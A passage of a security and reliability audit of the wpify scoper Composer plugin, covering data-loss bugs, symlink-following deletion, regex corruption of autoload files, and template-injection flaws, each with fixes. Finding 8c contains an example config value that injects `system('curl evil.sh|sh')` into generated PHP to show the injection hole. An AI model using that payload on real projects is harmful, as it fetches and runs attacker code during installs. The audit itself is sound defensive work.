+`config/scoper.config.php`, `scripts/extract-symbols.php`. `sources/` and `vendor/` excluded. + +Every finding below was verified by reading the code and, where noted, by executing the exact +expression against real data from this repository. Findings I could not fully confirm are +explicitly labelled **UNCONFIRMED**. + +--- + +## Runtime pipeline (as verified) + +1. `Plugin::activate()` (`src/Plugin.php:51`) reads `extra.wpify-scoper`, computes `folder`, + `prefix`, `globals`, `composerjson`, `composerlock` and a **one-shot random temp dir** + `getcwd()/tmp-XXXXXXXXXX`. +2. `Plugin::execute()` (`src/Plugin.php:116`) is subscribed to `post-install-cmd` / + `post-update-cmd` (`src/Plugin.php:44`). It: + - builds `$temp/source`, `$temp/destination`, + - writes `$temp/scoper.inc.php` + `$temp/scoper.config.php` (`createScoperConfig()`), + - templates `scripts/postinstall.php` into `$temp/postinstall.php` via `str_replace` of + `%%placeholder%%` tokens (`src/Plugin.php:148-157`), + - writes `$temp/source/composer.json` from the user's `composer-deps.json`, injecting a + `post-install-cmd`/`post-update-cmd` script array of three shell commands + (`src/Plugin.php:169-173`), + - runs a **nested in-process Composer** `install`/`update` in `$temp/source` + (`runInstall()`, `src/Plugin.php:290`). +3. The nested Composer runs the three scripts: php-scoper → `dump-autoload --optimize` → + `php $temp/postinstall.php`. +4. `postinstall.php` rewrites `autoload_static.php` and `scoper-autoload.php`, copies the lock + back, `remove($deps)` then `rename($destination/vendor, $deps)`, then `remove($temp)`. + +--- + +## Severity summary + +| # | Finding | Sev | Effort | +|---|---|---|---| +| 1 | `remove($deps)` before `rename()` — unconditional data loss window | **Critical** | S | +| 2 | `remove()` follows symlinks — deletes path-repository sources outside the temp dir | **Critical** | S | +| 3 | `autoload_static.php` regex corrupts unqualified classmap keys | **High** | M | +| 4 | `--no-dev` is unreachable dead code — dev deps always scoped & shipped | **High** | M | +| 5 | Missing `exclude-classes` / `exclude-namespaces` → fatal `TypeError` in the patcher | **High** | S | +| 6 | Malformed `composer-deps.json` → fatal "assign property on null" | **High** | S | +| 7 | Unquoted php-scoper path — breaks on any project path containing a space | **High** | S | +| 8 | `%%placeholder%%` templating into single-quoted PHP — parse errors / code injection | **High** | M | +| 9 | Unchecked `file_get_contents` → `preg_replace(false)` truncates autoload files to empty | **High** | S | +| 10 | `composerlock` derivation can alias `composerjson` → user's config file destroyed | High | S | +| 11 | `realpath()` of php-scoper unchecked → silently broken script command | Medium | S | +| 12 | Nested-install exit code discarded — failures reported as success | Medium | S | +| 13 | `prefix` sanitising regex `/[[a-zA-Z0-9]+]/` does not do what it looks like | Medium | S | +| 14 | Temp dir: weak randomness, project-dir pollution, never cleaned on failure | Medium | M | +| 15 | Patcher rebuilds a 3,392-needle `str_replace` per file (~4.7 ms/file) | Medium | M | +| 16 | `path()` collapses only one doubled separator; mangles absolute/Windows paths | Medium | S | +| 17 | `getCapabilities()` is dead code — `Capable` not implemented | Medium | S | +| 18 | Empty `prefix` → silent no-op, no diagnostic | Medium | S | +| 19 | `require_once` in `createScoperConfig()` returns `true` on second include → `exit` | Medium | S | +| 20 | `array_merge_recursive` never de-duplicated on the plugin side | Low | S | +| 21 | `symbols/plugin-update-checker.php` uses `expose-classes`, contradicted downstream | Low | S | +| 22 | `autorun` strict `=== false` rejects `0`/`"false"` | Low | S | +| 23 | Unchecked `mkdir`/`copy`/`file_put_contents`/`json_encode` throughout | Low–Med | M | +| 24 | `bin/wpify-scoper`: `NullIO`, no exit code, ignores extra argv | Low | S | + +--- + +## 1. `remove($deps)` executes before `rename()` — unconditional data-loss window + +**Location:** `scripts/postinstall.php:62-63` + +```php +remove( $deps ); +rename( path( $destination, 'vendor' ), $deps ); +``` + +**Problem.** The user's existing `deps/` directory is destroyed *first*, and only then is the +new one moved into place. Between those two statements the project has no dependencies at all. +`rename()`'s return value is not checked, so a failure is silent. + +**Reproducing scenarios (all concrete):** + +- **Cross-device rename.** `rename()` fails with `EXDEV` when source and destination are on + different filesystems. This is reachable today: `extra.wpify-scoper.temp` and + `extra.wpify-scoper.folder` are independently configurable (`src/Plugin.php:65-88`), so a user + who points `temp` at a RAM disk / different volume (`"temp": "/tmp/scoper"` — note `path()` + will actually mangle that, see #16) or who has `deps/` on a mounted volume gets: + `deps/` deleted → `rename()` returns `false` → warning printed → script continues → temp dir + removed at line 67 → **the scoped vendor is gone and `deps/` no longer exists**. The build + reports success (see #12). +- **Docker / bind-mount layouts.** A bind-mounted `deps/` inside a container is a different + device from the project temp dir in many setups — same outcome. +- **Interrupt.** Ctrl-C, OOM kill or a CI timeout landing between line 62 and 63 leaves the + project with no `deps/`. Recoverable only by re-running, which is fine — but see #2 for the + non-recoverable variant. +- **Windows.** `rename()` fails if any file under `deps/` is open (editor, IDE indexer, + antivirus, a running PHP-FPM worker). Same silent loss. + +**Fix.** Rename into place atomically, or at minimum verify before destroying: + +```php +$new = path( $destination, 'vendor' ); +$backup = $deps . '.bak-' . getmypid(); + +if ( ! is_dir( $new ) ) { + fwrite( STDERR, "wpify-scoper: scoped vendor not found at {$new}\n" ); + exit( 1 ); +} + +if ( file_exists( $deps ) && ! rename( $deps, $backup ) ) { + fwrite( STDERR, "wpify-scoper: cannot move existing {$deps} aside\n" ); + exit( 1 ); +} + +if ( ! rename( $new, $deps ) ) { + // put the old one back + if ( file_exists( $backup ) ) { + rename( $backup, $deps ); + } + fwrite( STDERR, "wpify-scoper: failed to move scoped vendor into {$deps}\n" ); + exit( 1 ); +} + +remove( $backup ); +``` + +If cross-device support is wanted, fall back to a recursive copy + verify + delete when +`rename()` fails with `EXDEV`. + +**Benefit.** No window in which the project has no dependencies; failures are loud and +recoverable. +**Downside.** Momentarily needs disk space for both the old and new tree (already true for the +temp tree). A few more lines of code. +**Severity:** Critical. **Effort:** S. + +--- + +## 2. `remove()` follows symlinks — deletes files outside the tree it is asked to delete + +**Location:** `scripts/postinstall.php:2-22` + +```php +function remove( $src ) { + if ( is_dir( $src ) ) { + $dir = opendir( $src ); + while ( false !== ( $file = readdir( $dir ) ) ) { ... } + rmdir( $src ); + } elseif ( is_file( $src ) ) { + unlink( $src ); + } +} +``` + +`is_dir()` and `is_file()` both **follow symlinks**. There is no `is_link()` guard anywhere. + +**Reproducing scenario (confirmed reachable).** Composer's `path` repository type symlinks +packages into `vendor/` by default (`"options": {"symlink": true}` is the default when the +filesystem supports it). A user whose `composer-deps.json` contains: + +```json +{ + "repositories": [ { "type": "path", "url": "../my-shared-library" } ], + "require": { "acme/my-shared-library": "@dev" } +} +``` + +gets `$temp/source/vendor/acme/my-shared-library` as a **symlink to `../my-shared-library`**. +`$temp/source/vendor` is *not* renamed away (only `$destination/vendor` is), so it is still +present when line 67 runs: + +```php +remove( $temp ); +``` + +`remove()` descends through the symlink and `unlink()`s every file in the developer's actual +`../my-shared-library` working copy, then `rmdir()`s its directories. **Uncommitted work in a +sibling package is destroyed.** + +Second reachable variant: `$deps` itself being a symlink (a common layout — `deps` symlinked to +a shared location, or the whole plugin directory symlinked into a WP install). `remove($deps)` +at line 62 then wipes the *target*, and `rename()` at line 63 replaces the symlink, silently +changing the project layout. + +Third: any dependency that legitimately ships a symlink inside its own tree. + +**Fix.** Guard on `is_link()` before recursing, and use `lstat`-based checks: + +```php +function remove( $src ) { + if ( is_link( $src ) ) { + // never follow: remove the link itself + if ( ! @unlink( $src ) ) { + @rmdir( $src ); // Windows dir junctions + } + return; + } + + if ( is_dir( $src ) ) { ... } +} +``` + +Also add `readdir` / `unlink` / `rmdir` failure handling — a single unremovable file currently +makes `rmdir()` fail silently and leaves a partial tree behind (see #14). + +**Benefit.** Eliminates the only path in the codebase that can destroy files outside the +project's own temp/deps directories. +**Downside.** None. A dangling symlink left in `deps/` after the change is harmless. +**Severity:** Critical. **Effort:** S. + +--- + +## 3. The `autoload_static.php` rewrite corrupts unqualified classmap keys + +**Location:** `scripts/postinstall.php:39-46` + +```php +$autoload_static = preg_replace( + "/'([[:alnum:]]+)'\s*=>\s*([a-zA-Z0-9 .'\"\/\-_]+),/", + "'" . $prefix . "\\1' => \\2,", + $autoload_static +); +``` + +**Intent.** Composer's optimized autoloader stores `$files` under md5 identifiers and +de-duplicates through `$GLOBALS['__composer_autoload_files'][$fileIdentifier]`. If the scoped +vendor reuses the host project's identifiers, its bootstrap files are skipped. Prefixing the +identifiers is the correct fix, and the regex does achieve it. + +**Bug.** The pattern is applied to the *whole file* and is not restricted to the `$files` array. +Any `$classMap` entry whose key is a single unqualified `[A-Za-z0-9]+` class name also matches. + +**Verified.** Running the exact expression against this repository's own +`vendor/composer/autoload_static.php` changed **30 lines**: the 16 intended `$files` entries and +**14 unintended `$classMap` entries**: + +``` +- 'Attribute' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/Attribute.php', ++ 'mydepsnamespaceAttribute' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/Attribute.php', + +- 'Normalizer' => __DIR__ . '/..' . '/symfony/polyfill-intl-normalizer/Resources/stubs/Normalizer.php', ++ 'mydepsnamespaceNormalizer' => ... +``` + +Also hit: `CURLStringFile`, `DelayedTargetValidation`, `Deprecated`, `JsonException`, +`NoDiscard`, `PhpToken`, `ReflectionConstant`, `Stringable`, `UnhandledMatchError`, `ValueError`. + +A corrupted key means the class is **no longer autoloadable from the scoped vendor**. + +**Which entries actually survive into a scoped classmap.** php-scoper leaves symbols it +classifies as *internal* (PHP core + extension symbols, sourced from the PhpStormStubs maps) +unprefixed. Class names it does prefix become `Prefix\Foo`, which contains backslashes and +therefore cannot match `[[:alnum:]]+`. So the victims are exactly the classes that stay global: + +- **Polyfill stubs.** `symfony/polyfill-intl-normalizer` ships a global `Normalizer` stub; this + is a transitive dependency of a large fraction of Composer packages. On a host **without + ext-intl**, the class is now unreachable → `Error: Class "Normalizer" not found` at runtime. + Same shape for `symfony/polyfill-php7x` stubs on older runtimes. +- **Explicitly excluded WordPress/WooCommerce classes.** Of the 1,219 `exclude-classes` entries + in `symbols/*.php`, **49 are pure alnum** and would be corrupted if a dependency declared + them: `PclZip`, `wpdb`, `getID3`, `Walker`, `WP`, `SimplePie`, `AtomParser`, `PO`, `MO`, + `Translations`, `PasswordHash`, `Snoopy`, `SodiumException`, `Requests`, `POP3`, + `WooCommerce`, `ActionScheduler`, `CronExpression`, `MagpieRSS`, `RSSCache`, `ftp`, … . + +**UNCONFIRMED:** I did not run a full scoping pass end-to-end, so I could not observe a scoped +`autoload_static.php` directly. The reasoning about which keys php-scoper leaves unprefixed is +inference from php-scoper's documented internal-symbol handling, not observation. The regex +behaviour itself *is* confirmed against a real Composer-generated file. + +**Fix.** Rewrite only the `$files` array, not the whole file. Either slice the block first: + +```php +$autoload_static = preg_replace_callback( + '/(public static \$files = array \()(.*?)(^\s*\);)/ms', + static function ( array $m ) use ( $prefix ) { + $body = preg_replace( "/^(\s*)'([0-9a-f]{32})'/m", "$1'" . $prefix . "$2'", $m[2] ); + return $m[1] . $body . $m[3]; + }, + $autoload_static +); +``` + +or, far more robustly, drop the regex entirely and set `"config": {"autoloader-suffix": $prefix}` +in the generated `$source/composer.json` — Composer then namespaces the whole static-init class, +and additionally use a distinct `$files` identifier salt. (Note: `autoloader-suffix` alone does +*not* change the `$files` md5 keys, so the `$files` prefixing is still needed; but scoping the +edit to the `$files` block is sufficient and minimal.) + +**Benefit.** Removes an entire class of "class not found only on some hosts" bugs that are +extremely hard to diagnose in shipped WordPress plugins. +**Downside.** The block-scoped regex is tied to Composer's generated formatting; if Composer +changes it, the `$files` prefixing silently stops happening (add a `preg_match` assertion + hard +failure when the `$files` block is not found). +**Severity:** High. **Effort:** M. + +--- + +## 4. `--no-dev` is unreachable dead code — dev dependencies are always scoped and shipped + +**Locations:** `src/Plugin.php:19,21` (constants), `src/Plugin.php:191-197`, +`src/Plugin.php:104-108` (`getCapabilities`), `bin/wpify-scoper:14-20` + +```php +$useDevDependencies = true; + +if ( $event->getName() === self::SCOPER_UPDATE_NO_DEV_CMD || $event->getName() === self::SCOPER_INSTALL_NO_DEV_CMD ) { + $useDevDependencies = false; +} +``` + +`SCOPER_INSTALL_NO_DEV_CMD` / `SCOPER_UPDATE_NO_DEV_CMD` are never produced by anything: + +- `bin/wpify-scoper` maps only `install` → `SCOPER_INSTALL_CMD` and `update` → + `SCOPER_UPDATE_CMD`. Any other argv value prints usage and exits. +- `getCapabilities()` would register a `CommandProvider`, but **`Plugin` does not implement + `Composer\Plugin\Capable`** (`src/Plugin.php:16` — verified: only `PluginInterface` and + `EventSubscriberInterface`). Composer's `PluginManager` calls `getCapabilities()` only on + `Capable` plugins, so the method is never invoked. Even if it were, it maps + `CommandProvider::class => self::class` and `Plugin` does not implement `CommandProvider`, + which Composer rejects with a `RuntimeException`. + +**Consequence.** `$useDevDependencies` is always `true`. The nested install +(`src/Plugin.php:290-305`) always passes `--no-dev => false`, so **every `require-dev` entry of +`composer-deps.json` is installed, scoped, and moved into the shipped `deps/` folder** — even +when the outer command was `composer install --no-dev` in a production build or release +pipeline. This bloats and potentially leaks development tooling into distributed WordPress +plugins. + +**Fix (two parts).** + +1. Propagate the outer dev mode. `Composer\Script\Event::isDevMode()` reports whether the + triggering install/update ran with dev dependencies: + + ```php + $useDevDependencies = $event->isDevMode(); + ``` + + (`bin/wpify-scoper` constructs `new Event($command, $composer, $io)` with `$devMode` + defaulting to `false`, which is the right default for a manual scoping run; pass it + explicitly based on a `--no-dev` flag.) +2. Either delete the two unused constants and `getCapabilities()`, or make them real: + `implements Capable`, a separate class implementing `CommandProvider`, and a + `--no-dev` option on `bin/wpify-scoper`. + +**Benefit.** Correct production builds; smaller shipped artifacts; removes misleading dead code. +**Downside.** Behaviour change for existing users who (unknowingly) relied on dev deps ending up +in `deps/`. Worth a note in the changelog. +**Severity:** High. **Effort:** M. + +--- + +## 5. Missing `exclude-classes` / `exclude-namespaces` → fatal `TypeError` in the patcher + +**Location:** `config/scoper.inc.php:79-101` + +```php +usort( $config['exclude-classes'], function ( $a, $b ) { ... } ); +... +foreach ( $config['exclude-namespaces'] as $symbol ) { ... } +``` + +`$config` here is `$temp/scoper.config.php`, written by `Plugin::createScoperConfig()` +(`src/Plugin.php:263`). That array only gains `exclude-classes` / `exclude-namespaces` if one of +the symbol files merged at `src/Plugin.php:223-256` supplies them. + +**Reproducing scenarios (verified against the actual symbol files):** + +- `"globals": []` — no symbol file is merged. `$config` is + `['prefix','source','destination','exclude-constants']`. First patched file → + `Warning: Undefined array key "exclude-classes"` → `usort(null, …)` → + **`TypeError: usort(): Argument #1 ($array) must be of type array, null given`** (confirmed by + execution). php-scoper aborts, composer aborts the script chain, the temp dir is orphaned. +- `"globals": ["plugin-update-checker"]` — verified: `symbols/plugin-update-checker.php` + contains **only** `expose-classes` (33 entries). No `exclude-classes`, no + `exclude-namespaces` → identical fatal. + +Note `"globals": []` is not exotic: it is the natural configuration for scoping a non-WordPress +dependency set, and the README documents `globals` as optional. + +**Fix.** Defensive defaults at the point of use, plus normalisation at the point of generation: + +```php +// config/scoper.inc.php +$excludeClasses = $config['exclude-classes'] ?? array(); +$excludeNamespaces = $config['exclude-namespaces'] ?? array(); +``` + +and in `Plugin::createScoperConfig()`, seed the keys: + +```php +$config += array( + 'exclude-classes' => array(), + 'exclude-namespaces' => array(), + 'exclude-functions' => array(), +); +``` + +**Benefit.** `globals: []` and single-global configurations work. +**Downside.** None. +**Severity:** High. **Effort:** S. + +--- + +## 6. Malformed / unreadable `composer-deps.json` → fatal "assign property on null" + +**Location:** `src/Plugin.php:134-146` + +```php +$composerJson = json_decode( file_get_contents( ... ), false ); +... +if ( empty( $composerJson->scripts ) ) { + $composerJson->scripts = (object) array(); +} +``` + +No `json_last_error()` check, no `file_get_contents()` check. + +**Reproducing scenario.** A user edits `composer-deps.json` and leaves a trailing comma or an +unclosed brace, then runs `composer update`. `json_decode` returns `null`; +`empty($composerJson->scripts)` emits `Warning: Attempt to read property "scripts" on null` and +evaluates true; the assignment then throws +**`Error: Attempt to assign property "scripts" on null`** (confirmed by execution). The user +sees a raw PHP fatal from inside a Composer plugin, with no indication that their +`composer-deps.json` is the culprit. Same outcome if the file is unreadable (permissions). + +Related: if the decoded value is a scalar (`composer-deps.json` containing `"hello"` or `[]`), +`$composerJson->scripts` on a string/array is likewise fatal or silently wrong. + +**Fix.** + +```php +$path = $this->path( getcwd(), $this->composerjson ); +$raw = file_get_contents( $path ); + +if ( false === $raw ) { + throw new \RuntimeException( sprintf( 'wpify-scoper: cannot read %s', $path ) ); +} + +$composerJson = json_decode( $raw, false ); + +if ( ! $composerJson instanceof \stdClass ) { + throw new \RuntimeException( sprintf( + 'wpify-scoper: %s is not valid JSON (%s)', $path, json_last_error_msg() + ) ); +} +``` + +Composer catches exceptions from script handlers and prints them cleanly. + +**Benefit.** Actionable error instead of a PHP fatal. +**Downside.** None. +**Severity:** High. **Effort:** S. + +--- + +## 7. Unquoted php-scoper path — breaks on any project path containing a space + +**Location:** `src/Plugin.php:167-173` + +```php +$phpscoper = realpath( __DIR__ . '/../../php-scoper/bin/php-scoper.phar' ); + +$composerJson->scripts->{$scriptName} = array( + $phpscoper . ' add-prefix --output-dir="' . $destination . '" --force --config="' . $scoperConfig . '"', + 'composer dump-autoload --working-dir="' . $destination . '" --optimize', + 'php "' . $postinstallPath . '"', +); +``` + +The `--output-dir`, `--config` and `php "…"` arguments are quoted; **`$phpscoper` itself is +not**. + +**Reproducing scenario.** A macOS user with the project at +`/Users/Jane Doe/Sites/my-plugin` runs `composer update`. Composer executes the script through +a shell, which splits on the space: + +``` +sh: /Users/Jane: No such file or directory +``` + +Windows (`C:\Program Files\…`, or any user profile with a space) has the same failure. This is +common enough on macOS and Windows to be a first-run blocker. + +Secondary, Windows-specific: the phar is invoked directly and relies on its `#!/usr/bin/env php` +shebang plus the executable bit (verified present: `-rwxr-xr-x php-scoper.phar`). Windows has no +shebang handling — `.phar` is not an executable extension by default, so the command fails +regardless of quoting. + +**Fix.** + +```php +$php = ( new PhpExecutableFinder() )->find() ?: 'php'; +$phpscoper = realpath( __DIR__ . '/../../php-scoper/bin/php-scoper.phar' ); + +$composerJson->scripts->{$scriptName} = array( + sprintf( '%s %s add-prefix --output-dir=%s --force --config=%s', + ProcessExecutor::escape( $php ), + ProcessExecutor::escape( $phpscoper ), + ProcessExecutor::escape( $destination ), + ProcessExecutor::escape( $scoperConfig ) + ), + ... +); +``` + +`Composer\Util\ProcessExecutor::escape()` and `Symfony\Component\Process\PhpExecutableFinder` +are both already available (Composer is a hard dependency). Invoking via `php ` also fixes +Windows. + +**Benefit.** Works for every path; works on Windows; uses the same PHP binary Composer runs +under instead of whatever `php` resolves to on `PATH`. +**Downside.** None. +**Severity:** High. **Effort:** S. + +--- + +## 8. `%%placeholder%%` templating injects raw values into single-quoted PHP literals + +**Location:** `src/Plugin.php:148-157` → `scripts/postinstall.php:30-36` + +```php +$postinstall = str_replace( '%%source%%', $source, $postinstall ); +... +$postinstall = str_replace( '%%prefix%%', $this->prefix, $postinstall ); +``` + +Template side: + +```php +$source = '%%source%%'; +$cwd = '%%cwd%%'; +$deps = '%%deps%%'; +$prefix = strtolower( preg_replace( "/[[a-zA-Z0-9]+]/", '', '%%prefix%%' ) ); +``` + +Values are spliced into **single-quoted PHP string literals** with no escaping. In a +single-quoted literal only `\'` and `\\` are special, which means: + +**8a — Apostrophe in the project path → parse error (realistic).** +A user at `/Users/o'brien/sites/plugin` gets: + +```php +$cwd = '/Users/o'brien/sites/plugin'; +``` + +→ `PHP Parse error: syntax error, unexpected identifier "brien"`. The scoping step fails after +php-scoper and `dump-autoload` have already run; the temp dir is orphaned. Apostrophes in home +directory names are common enough to hit. + +**8b — Windows path ending in a separator → unterminated string (realistic).** +`"folder": "deps\\"` in `composer.json` (a natural thing to write on Windows) yields +`$deps = 'C:\proj\deps\';` → the `\'` escapes the quote → unterminated string, parse error. +Similarly, `%%cwd%%` at a drive root (`C:\`) breaks. + +Note: ordinary Windows paths *do* survive, because `\U`, `\d`, `\p`, `\t` etc. are not escape +sequences in single quotes. The failure is specifically about a **trailing backslash** and about +**embedded apostrophes**. + +**8c — Code injection via `prefix` / `folder` / `temp`.** + +```json +{ "extra": { "wpify-scoper": { "prefix": "Foo'; system('curl evil.sh|sh'); //" } } } +``` + +produces executable PHP in `$temp/postinstall.php`. The attacker needs write access to +`composer.json`, which mostly means they already win — but this matters for the realistic case +of **installing a third-party package/template whose `composer.json` you did not audit**, and it +turns a config-file read into arbitrary code execution during `composer install`. It also means +the config values are not validated at all. + +**8d — Backslash consumption in the `%%prefix%%` replacement.** `str_replace` is literal, so a +prefix is inserted verbatim; but `postinstall.php:43` then uses `$prefix` inside a *preg +replacement string* (`"'" . $prefix . "\\1' => \\2,"`). A prefix ending in a digit-adjacent +backslash would be reinterpreted as a backreference. Low likelihood, but it is the same class of +bug. + +**Fix.** Stop templating source code. Two good options: + +- **Preferred:** write the values as a data file and read them: + ```php + // Plugin::execute() + $this->createJson( $this->path( $this->tempDir, 'postinstall.json' ), array( + 'source' => $source, 'destination' => $destination, 'cwd' => getcwd(), + 'composer_lock' => $this->composerlock, 'deps' => $this->folder, + 'temp' => $this->tempDir, 'prefix' => $this->prefix, + ) ); + ``` + and in `postinstall.php`: + ```php + $cfg = json_decode( file_get_contents( __DIR__ . '/postinstall.json' ), true ); + ``` + `postinstall.php` then needs no templating at all and can be copied verbatim (or even executed + in place from the package, with the JSON path passed as `argv[1]`). +- **Minimal:** replace each `str_replace` with `var_export($value, true)` substitution into an + unquoted slot (`$source = %%source%%;`), which escapes correctly for any string. + +Independently, **validate `prefix`** in `activate()`: + +```php +if ( ! preg_match( '/^[A-Za-z_\x80-\xff][A-Za-z0-9_\x80-\xff]*(\\\\[A-Za-z_\x80-\xff][A-Za-z0-9_\x80-\xff]*)*$/', $prefix ) ) { + throw new \RuntimeException( 'wpify-scoper: extra.wpify-scoper.prefix must be a valid PHP namespace.' ); +} +``` + +**Benefit.** Removes a code-injection vector and two realistic parse-error classes; makes +`postinstall.php` independently testable (it currently cannot be run or linted standalone, +because `%%source%%` is not valid content). +**Downside.** One extra file in the temp dir. Slightly larger refactor than a one-liner. +**Severity:** High (Critical if you count 8c as a security boundary). **Effort:** M. + +--- + +## 9. Unchecked `file_get_contents` → `preg_replace(false)` empties the autoload files + +**Location:** `scripts/postinstall.php:39-53` + +```php +$autoload_static = file_get_contents( $autoload_static_path ); +$autoload_static = preg_replace( ..., $autoload_static ); +file_put_contents( $autoload_static_path, $autoload_static ); + +$scoper_autoload = file_get_contents( $scoper_autoload_path ); +$scoper_autoload = preg_replace( ..., $scoper_autoload ); +file_put_contents( $scoper_autoload_path, $scoper_autoload ); +``` + +If either file is missing, `file_get_contents()` returns `false` with a warning; `preg_replace()` +on `false` returns `''` (with a PHP 8.1 deprecation); `file_put_contents()` then **creates or +truncates the file to zero bytes**. The result is shipped into `deps/`. + +`$destination/vendor/scoper-autoload.php` is the realistic case: php-scoper only emits it when +there is something to alias. A dependency set with no exposed symbols therefore produces an +empty `scoper-autoload.php` in `deps/vendor/`, and any user code doing +`require 'deps/vendor/scoper-autoload.php'` silently gets nothing (the README instructs users to +include the scoped autoload). + +`preg_replace()` can also return `null` on PCRE failure (backtrack limit — plausible on +`autoload_static.php` for a very large classmap with the `.*?`-free but unanchored pattern), +which likewise truncates the file. **UNCONFIRMED:** I did not reproduce a PCRE backtrack limit +hit on a real file; the `false` path is confirmed by PHP semantics. + +**Fix.** + +```php +function rewrite( string $path, callable $fn ): void { + if ( ! is_file( $path ) ) { + return; // nothing to rewrite + } + + $content = file_get_contents( $path ); + + if ( false === $content ) { + fwrite( STDERR, "wpify-scoper: cannot read {$path}\n" ); + exit( 1 ); + } + + $result = $fn( $content ); + + if ( ! is_string( $result ) || '' === $result ) { + fwrite( STDERR, "wpify-scoper: rewrite of {$path} failed (" . preg_last_error_msg() . ")\n" ); + exit( 1 ); + } + + if ( false === file_put_contents( $path, $result ) ) { + fwrite( STDERR, "wpify-scoper: cannot write {$path}\n" ); + exit( 1 ); + } +} +``` + +**Benefit.** Never ships a truncated autoloader; missing optional files are handled explicitly. +**Downside.** None. +**Severity:** High. **Effort:** S. + +--- + +## 10. `composerlock` derivation can alias `composerjson`, destroying the user's config file + +**Location:** `src/Plugin.php:69-72` → `scripts/postinstall.php:57-58` + +```php +$configValues['composerlock'] = preg_replace( '/\.json$/', '.lock', $extra['wpify-scoper']['composerjson'] ); +``` + +If `composerjson` does not end in a lowercase `.json`, `preg_replace` returns it **unchanged**, +so `composerlock === composerjson`. Verified: + +| `composerjson` | derived `composerlock` | +|---|---| +| `composer-deps.json` | `composer-deps.lock` | +| `deps.config` | `deps.config` | +| `a.JSON` | `a.JSON` | +| `x.json.dist` | `x.json.dist` | + +Then in `postinstall.php`: + +```php +remove( path( $cwd, $composer_lock ) ); +copy( path( $destination, 'composer.lock' ), path( $cwd, $composer_lock ) ); +``` + +**Reproducing scenario.** A user sets `"composerjson": "deps.json5"` (or `"scoped.config"`, or +uppercases the extension on a case-sensitive filesystem). First `composer update`: +`Plugin::execute()` reads their file fine, then `postinstall.php` **deletes it** and writes the +generated `composer.lock` over it. Their dependency declaration is gone; the next run creates an +empty `composer-deps.json`-equivalent (`src/Plugin.php:137-141`) and installs nothing. + +**Fix.** Derive by replacing the actual extension and assert the result differs: + +```php +$json = $extra['wpify-scoper']['composerjson']; +$lock = preg_replace( '/\.[^.\/\\\\]*$/', '.lock', $json ); + +if ( $lock === $json || '' === $lock ) { + $lock = $json . '.lock'; +} +``` + +Additionally assert `$this->composerlock !== $this->composerjson` in `execute()` and fail loudly +if a user explicitly configures them equal. + +**Benefit.** Removes a silent data-loss path triggered by a documented config option. +**Downside.** None. +**Severity:** High (low likelihood × high impact). **Effort:** S. + +--- + +## 11. `realpath()` of the php-scoper phar is unchecked + +**Location:** `src/Plugin.php:167` + +```php +$phpscoper = realpath( __DIR__ . '/../../php-scoper/bin/php-scoper.phar' ); +``` + +`realpath()` returns `false` when the path does not exist. `false . ' add-prefix …'` yields +`" add-prefix --output-dir=…"` — a command starting with a space. The shell then tries to run +`add-prefix`, fails with `command not found`, composer aborts the script chain, and the user gets +no hint that php-scoper is missing. + +**When it happens:** the hardcoded `../../php-scoper` assumes the installed layout +`vendor/wpify/scoper/src` → `vendor/wpify/php-scoper`. It is wrong for anyone running the plugin +from a git clone or a path repository, and it breaks with a non-default `vendor-dir`, with +`composer/installers` remapping, and if `wpify/php-scoper` ever changes its package name or +ships the binary elsewhere. + +**Fix.** Resolve through Composer instead of guessing: + +```php +$vendorDir = $this->composer->getConfig()->get( 'vendor-dir' ); +$phpscoper = $this->path( $vendorDir, 'wpify', 'php-scoper', 'bin', 'php-scoper.phar' ); + +if ( ! is_file( $phpscoper ) ) { + throw new \RuntimeException( sprintf( + 'wpify-scoper: php-scoper not found at %s. Is wpify/php-scoper installed?', $phpscoper + ) ); +} +``` + +**Benefit.** Correct in every layout; a clear error when it is genuinely missing. +**Downside.** None. +**Severity:** Medium. **Effort:** S. + +--- + +## 12. The nested install's exit code is discarded — failures are reported as success + +**Locations:** `src/Plugin.php:197`, `src/Plugin.php:290-305`, `bin/wpify-scoper:41` + +```php +$this->runInstall( $source, $command, $useDevDependencies ); // return value dropped +``` + +`runInstall()` returns `Application::run()`'s exit code, which `execute()` ignores. `execute()` +returns `void`, and Composer's `EventDispatcher` treats a script-handler callable that neither +throws nor returns a non-zero value as success. `bin/wpify-scoper` likewise ends after +`$scoper->execute($fakeEvent)` with no `exit()`. + +**Reproducing scenario.** `composer-deps.json` requires a package with an unsatisfiable +constraint, or a private repository the CI runner cannot authenticate to. The nested install +fails and prints its error to `ConsoleOutput`. `composer install` then **exits 0**. CI goes +green, `deps/` still contains the previous (or no) build, the temp dir is left behind, and the +release ships stale dependencies. + +Same for `bin/wpify-scoper install` in a release script — always exits 0. + +**Fix.** + +```php +// Plugin::execute() +$exitCode = $this->runInstall( $source, $command, $useDevDependencies ); + +if ( 0 !== $exitCode ) { + throw new \RuntimeException( sprintf( + 'wpify-scoper: nested composer %s failed with exit code %d.', $command, $exitCode + ) ); +} +``` + +and make `execute()` return the code, with `bin/wpify-scoper` doing `exit( $scoper->execute( $fakeEvent ) ?? 0 );`. + +**Benefit.** CI actually fails when scoping fails; no stale `deps/` shipped. +**Downside.** Builds that currently "pass" while silently doing nothing will start failing — +which is the point, but it will surface pre-existing breakage. +**Severity:** Medium (High for anyone with a release pipeline). **Effort:** S. + +--- + +## 13. The prefix-sanitising regex does not do what it appears to do + +**Location:** `scripts/postinstall.php:36` + +```php +$prefix = strtolower( preg_replace( "/[[a-zA-Z0-9]+]/", '', '%%prefix%%' ) ); +``` + +Read carefully, the pattern is: character class `[[a-zA-Z0-9]` (i.e. **`[`, letters, digits**), +then `+`, then a **literal `]`**. It matches *"a run of bracket-or-alnum characters followed by a +closing bracket"*. It is almost certainly meant to be `/[^a-zA-Z0-9]+/` (strip everything that is +not alphanumeric). + +**Verified behaviour:** + +| input | output | +|---|---| +| `MyDepsNamespace` | `MyDepsNamespace` (no-op) | +| `My_Deps\Namespace` | `My_Deps\Namespace` (no-op) | +| `Foo[bar]Baz` | `Baz` | + +**Consequences.** + +- For every realistic prefix it is a **no-op**, so the effective value is just + `strtolower($prefix)`. That happens to work for the `$files` identifier prefixing, so nothing + is visibly broken today — which is exactly why the bug has survived. +- Non-alphanumeric characters are **not** stripped. A namespaced prefix such as + `Acme\MyPlugin\Deps` yields `$prefix = 'acme\myplugin\deps'`, which is then spliced into a + *preg replacement string* at line 43 (`"'" . $prefix . "\\1' => \\2,"`). Backslashes in a + replacement string are significant: `\m`, `\d` are passed through, but a prefix whose + backslash is followed by a digit becomes a backreference. It also produces odd but syntactically + valid array keys like 